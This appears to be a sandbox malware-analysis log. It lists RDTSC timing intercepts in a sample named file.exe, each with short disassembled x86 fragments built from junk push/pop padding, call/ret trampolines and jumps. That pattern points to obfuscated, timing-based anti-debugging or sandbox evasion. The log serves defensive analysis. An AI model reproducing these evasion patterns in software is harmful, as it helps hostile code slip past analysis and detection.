Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B722D second address: 3B7233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7233 second address: 3B72AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDE34EAC86Ch 0x00000008 jo 00007FDE34EAC866h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jbe 00007FDE34EAC872h 0x00000018 jmp 00007FDE34EAC86Ch 0x0000001d jnc 00007FDE34EAC86Ch 0x00000023 popad 0x00000024 nop 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007FDE34EAC868h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov esi, 25E482C3h 0x00000044 xchg eax, ebx 0x00000045 jmp 00007FDE34EAC877h 0x0000004a push eax 0x0000004b pushad 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B72AE second address: 3B72CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDE34C00CE8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B77CC second address: 3B77D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B77D2 second address: 3B77D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B77D6 second address: 3B77DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B77DA second address: 3B7853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDE34C00CE3h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FDE34C00CD8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007FDE34C00CDCh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FDE34C00CD8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c and si, 67FDh 0x00000051 mov dword ptr [ebp+122D3B07h], ebx 0x00000057 push eax 0x00000058 pushad 0x00000059 push esi 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BA78F second address: 3BA7E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC876h 0x00000008 jmp 00007FDE34EAC86Ah 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FDE34EAC86Ah 0x00000016 nop 0x00000017 sub dword ptr [ebp+122D3ADBh], ecx 0x0000001d push 00000000h 0x0000001f jp 00007FDE34EAC86Ch 0x00000025 mov dword ptr [ebp+12462124h], eax 0x0000002b push 00000000h 0x0000002d mov di, si 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BA7E0 second address: 3BA7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDE34C00CD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BBDA7 second address: 3BBDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BBDAB second address: 3BBE0A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov si, 7B00h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007FDE34C00CD8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e adc esi, 1C14AABDh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007FDE34C00CD8h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 xchg eax, ebx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BBB4B second address: 3BBB55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC893 second address: 3BC8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDE34C00CD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC8A2 second address: 3BC8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC8A6 second address: 3BC8AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC8AA second address: 3BC8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE34EAC86Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE672 second address: 3BE67D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FDE34C00CD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37E3A1 second address: 37E3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C0F5F second address: 3C0FCF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE34C00CD8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D3A19h] 0x00000015 push 00000000h 0x00000017 call 00007FDE34C00CE6h 0x0000001c mov bx, 1CDAh 0x00000020 pop ebx 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007FDE34C00CD8h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d mov dword ptr [ebp+1246B3ACh], ecx 0x00000043 xchg eax, esi 0x00000044 ja 00007FDE34C00CDAh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jc 00007FDE34C00CD8h 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2F8D second address: 3C2F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2F91 second address: 3C2FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1107 second address: 3C1120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC875h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C124F second address: 3C1253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C46AE second address: 3C46B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C56FD second address: 3C5701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C48E5 second address: 3C48EF instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE34EAC86Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C48EF second address: 3C48FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C48FD second address: 3C4902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C4902 second address: 3C490C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE34C00CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C772B second address: 3C77A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jc 00007FDE34EAC866h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 jl 00007FDE34EAC869h 0x00000017 push ebx 0x00000018 push esi 0x00000019 pop ebx 0x0000001a pop ebx 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov bl, D6h 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov dword ptr [ebp+122D3C40h], ecx 0x00000031 mov eax, dword ptr [ebp+122D0C41h] 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FDE34EAC868h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D1DF6h], edi 0x00000057 push FFFFFFFFh 0x00000059 mov bx, 5957h 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FDE34EAC873h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C87D7 second address: 3C87EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34C00CE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB5B3 second address: 3CB5B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB5B7 second address: 3CB5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB5BD second address: 3CB5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CB5C3 second address: 3CB5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC562 second address: 3CC567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC567 second address: 3CC5B8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b xor di, ADCEh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FDE34C00CD8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007FDE34C00CD8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CD53E second address: 3CD59E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d stc 0x0000000e push 00000000h 0x00000010 clc 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FDE34EAC868h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d xchg eax, esi 0x0000002e push edi 0x0000002f pushad 0x00000030 push esi 0x00000031 pop esi 0x00000032 jc 00007FDE34EAC866h 0x00000038 popad 0x00000039 pop edi 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007FDE34EAC86Fh 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE55F second address: 3CE5FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FDE34C00CD8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FDE34C00CD8h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 jmp 00007FDE34C00CE7h 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ebx 0x0000004c call 00007FDE34C00CD8h 0x00000051 pop ebx 0x00000052 mov dword ptr [esp+04h], ebx 0x00000056 add dword ptr [esp+04h], 0000001Ah 0x0000005e inc ebx 0x0000005f push ebx 0x00000060 ret 0x00000061 pop ebx 0x00000062 ret 0x00000063 xchg eax, esi 0x00000064 push edi 0x00000065 pushad 0x00000066 pushad 0x00000067 popad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF4BD second address: 3CF4C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF4C1 second address: 3CF4C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D06C5 second address: 3D06CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DB565 second address: 3DB579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDE34C00CD6h 0x0000000a pop ecx 0x0000000b push esi 0x0000000c jnp 00007FDE34C00CD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DB6A3 second address: 3DB6B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DB7F8 second address: 3DB802 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34C00CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F1A second address: 3E0F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F20 second address: 3E0F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F25 second address: 3E0F2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F2C second address: 3E0F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F39 second address: 3E0F53 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F53 second address: 3E0F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F58 second address: 3E0F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FDE34EAC86Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jnp 00007FDE34EAC874h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0F75 second address: 3E0F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E117C second address: 3E1184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5C4F second address: 3E5C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5C53 second address: 3E5C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5C59 second address: 3E5C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5C5F second address: 3E5C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E50D6 second address: 3E50E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jc 00007FDE34C00CDEh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E50E8 second address: 3E50FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007FDE34EAC866h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E566A second address: 3E5670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5670 second address: 3E567A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E567A second address: 3E5680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E580C second address: 3E582D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC874h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FDE34EAC866h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E599D second address: 3E59A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBEC1 second address: 3EBECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBECE second address: 3EBEE4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CD6h 0x00000008 jnl 00007FDE34C00CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EAD54 second address: 3EAD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FDE34EAC871h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EAD6E second address: 3EAD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB464 second address: 3EB481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FDE34EAC875h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB601 second address: 3EB607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB607 second address: 3EB62F instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE34EAC866h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FDE34EAC873h 0x00000012 jbe 00007FDE34EAC866h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB780 second address: 3EB784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB8D6 second address: 3EB8DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB8DA second address: 3EB906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FDE34C00CE2h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34C00CE2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EB906 second address: 3EB910 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDE34EAC866h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375EF3 second address: 375F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBD42 second address: 3EBD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 ja 00007FDE34EAC866h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
